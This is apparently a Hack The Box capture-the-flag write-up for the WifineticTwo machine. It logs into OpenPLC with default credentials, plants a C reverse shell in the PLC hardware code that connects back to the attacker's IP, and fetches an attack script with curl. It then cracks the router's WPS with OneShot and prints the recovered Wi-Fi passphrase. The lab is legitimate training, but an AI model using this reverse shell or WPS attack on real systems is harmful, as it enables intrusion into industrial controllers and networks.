WifineticTwo: Write-Up

This is a Write Up on how to complete the room WifineticTwo on Hack The Box.

Note* I used Kali Linux to complete this room. The IP Address for WifineticTwo was 10.10.11.7 at the time of this writing.

* Click on images to enlarge.

Let’s begin this room by enumerating WifineticTwo with Nmap.

Running Nmap shows we have two open ports. Port 22 and port 8080.

nmap -sT -v -p- 10.10.11.7
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-25 14:19 EST
Initiating Ping Scan at 14:19
Scanning 10.10.11.7 [2 ports]
Completed Ping Scan at 14:19, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:19
Completed Parallel DNS resolution of 1 host. at 14:19, 0.04s elapsed
Initiating Connect Scan at 14:19
Scanning 10.10.11.7 [65535 ports]
Discovered open port 8080/tcp on 10.10.11.7
Discovered open port 22/tcp on 10.10.11.7
Completed Connect Scan at 14:20, 29.28s elapsed (65535 total ports)
Nmap scan report for 10.10.11.7
Host is up (0.045s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 29.40 seconds

Navigating to port 8080 reveals a Welcome to OpenPLC login page.

Using Google to search for default credentials we find that the default username is openplc and the password is openplc.

Attempting these credentials reveals they do, indeed, work for this login and we are redirected to the Dashboard page of the application.

Using Reverse Shell Generator we can find a simple C Reverse Shell Script that we can use.

In the Hardware tab we want to make some modifications to the default code. First we want to include the C headers at the top, that came from Revshells.

Next we want to include the guts of int main(void) here.

The full code snippet should be this: *Please make sure to use your IP Address.

#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

//-----------------------------------------------------------------------------
// DISCLAIMER: EDDITING THIS FILE CAN BREAK YOUR OPENPLC RUNTIME! IF YOU DON'T
// KNOW WHAT YOU'RE DOING, JUST DON'T DO IT. EDIT AT YOUR OWN RISK.
//
// PS: You can always restore original functionality if you broke something
// in here by clicking on the "Restore Original Code" button above.
//-----------------------------------------------------------------------------

//-----------------------------------------------------------------------------
// These are the ignored I/O vectors. If you want to override how OpenPLC
// handles a particular input or output, you must put them in the ignored
// vectors. For example, if you want to override %IX0.5, %IX0.6 and %IW3
// your vectors must be:
//     int ignored_bool_inputs[] = {5, 6}; //%IX0.5 and %IX0.6 ignored
//     int ignored_int_inputs[] = {3}; //%IW3 ignored
//
// Every I/O on the ignored vectors will be skipped by OpenPLC hardware layer
//-----------------------------------------------------------------------------
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};

//-----------------------------------------------------------------------------
// This function is called by the main OpenPLC routine when it is initializing.
// Hardware initialization procedures for your custom layer should be here.
//-----------------------------------------------------------------------------
void initCustomLayer()
{
}

//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal input
// buffers must be updated with the values you want. Make sure to use the mutex 
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomIn()
{
    // Example Code - Overwritting %IW3 with a fixed value
    // If you want to have %IW3 constantly reading a fixed value (for example, 53)
    // you must add %IW3 to the ignored vectors above, and then just insert this 
    // single line of code in this function:
    //     if (int_input[3] != NULL) *int_input[3] = 53;
}

//-----------------------------------------------------------------------------
// This function is called by OpenPLC in a loop. Here the internal output
// buffers must be updated with the values you want. Make sure to use the mutex 
// bufferLock to protect access to the buffers on a threaded environment.
//-----------------------------------------------------------------------------
void updateCustomOut()
{
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("YOUR IP ADDRESS!");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execvp("sh", argv);

    return 0;  
}

Finally we need to start a listener to catch our reverse shell.

nc -lvnp 4444

With our C Reverse Shell in place we can save the changes and the click Start PLC.

We should now have a shell on the box as the root user.

Using Python3 we can obtain a more stable shell.

python3 -c 'import pty;pty.spawn("/bin/bash")'

From here we can obtain the user.txt flag in /root.

Looking further into this box reveals a network interface, called wlan0, that is down.

We can use the iw command to perform a scan on wlan0.

iw dev wlan0 scan

The scan reveals the SSID of plcrouter and that it is using WPS.

We can use a Python Script called OneShot to attack and try to break into the service.

We can use git to pull down this repository using git clone.

git clone https://github.com/kimocoder/OneShot.git

Now we can start a Python web server with:

python3 -m http.server

Now on our target box we can use curl in the /tmp directory to pull in the oneshot.py script.

curl http://10.10.14.15:8000/OneShot/oneshot.py -o oneshot.py

Now we can run this script with the following command.

python3 oneshot.py -i wlan0

When prompted, use “1” for the selected target.

We will get information back regarding the WPA PSK and the WPS PIN.

With the WPA PSK we can connect to the wireless network.

wpa_passphrase plcrouter 'NoWWEDoKnowWhaTisReal123!' > config

Next we will run a wpa_supplicant command to connect to the device to wlan0. This will use the config file we just created.

wpa_supplicant -B -c config -i wlan0

We have successfully initialized wpa_supplicant.

We can confirm everything is work with iw dev wlan0 link and see that we are connected.

Using ip addr also shows us we have an IP Address.

From here we can simply ssh as root to 192.168.1.1.

Now we can obtain the root.txt flag and finish this box.

That completes the room! Well done! If you found this helpful, please send me a tweet and tell me what you thought! Feedback is always appreciated!

Jarrod